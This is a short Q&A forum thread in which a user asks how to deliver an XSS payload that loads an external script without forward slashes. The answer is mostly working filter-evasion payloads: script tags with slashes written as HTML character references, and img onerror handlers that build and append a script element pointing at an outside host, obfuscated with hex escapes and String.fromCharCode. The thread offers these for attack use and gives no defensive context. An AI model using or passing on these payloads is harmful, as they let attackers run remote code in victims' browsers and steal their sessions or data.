is there an XSS attack vector that allows the inclusion of a external .js file without having to use forward slashes?

let's say the path of the file is somewebsite.com/js/xss.js

Is there a way to pass it to a parameter that it works and without it containing forward slashes

An example that wouldn't work is: <script src='//somewebsite.com/js/xss.js'> This works nice because I don't have to close the tag but it also doesn't work due to the fact that I have to use forward slashes to navigate to the JS file

  • @atk That would be interpreted as relative URI path.
    – Gumbo
    Feb 24, 2014 at 12:16

1 Answer 1


You can always use character references:

<script src='&#x2f;&#x2f;somewebsite.com&#x2f;js&#x2f;xss.js'>

This also works without quotes:

<script src=&#x2f;&#x2f;somewebsite.com&#x2f;js&#x2f;xss.js>

You could also use JavaScript to inject the script element and generate the / character with JavaScript somehow:

<img src="" onerror="s=document.createElement('script'); s.src='\x2F\x2Fsomewebsite.com\x2Fjs\x2Fxss.js'; document.body.appendChild(s)">

And without any quotes:

<img src= onerror=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(47,47,115,111,109,101,119,101,98,115,105,116,101,46,99,111,109,47,106,115,47,120,115,115,46,106,115);document.body.appendChild(s)>

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.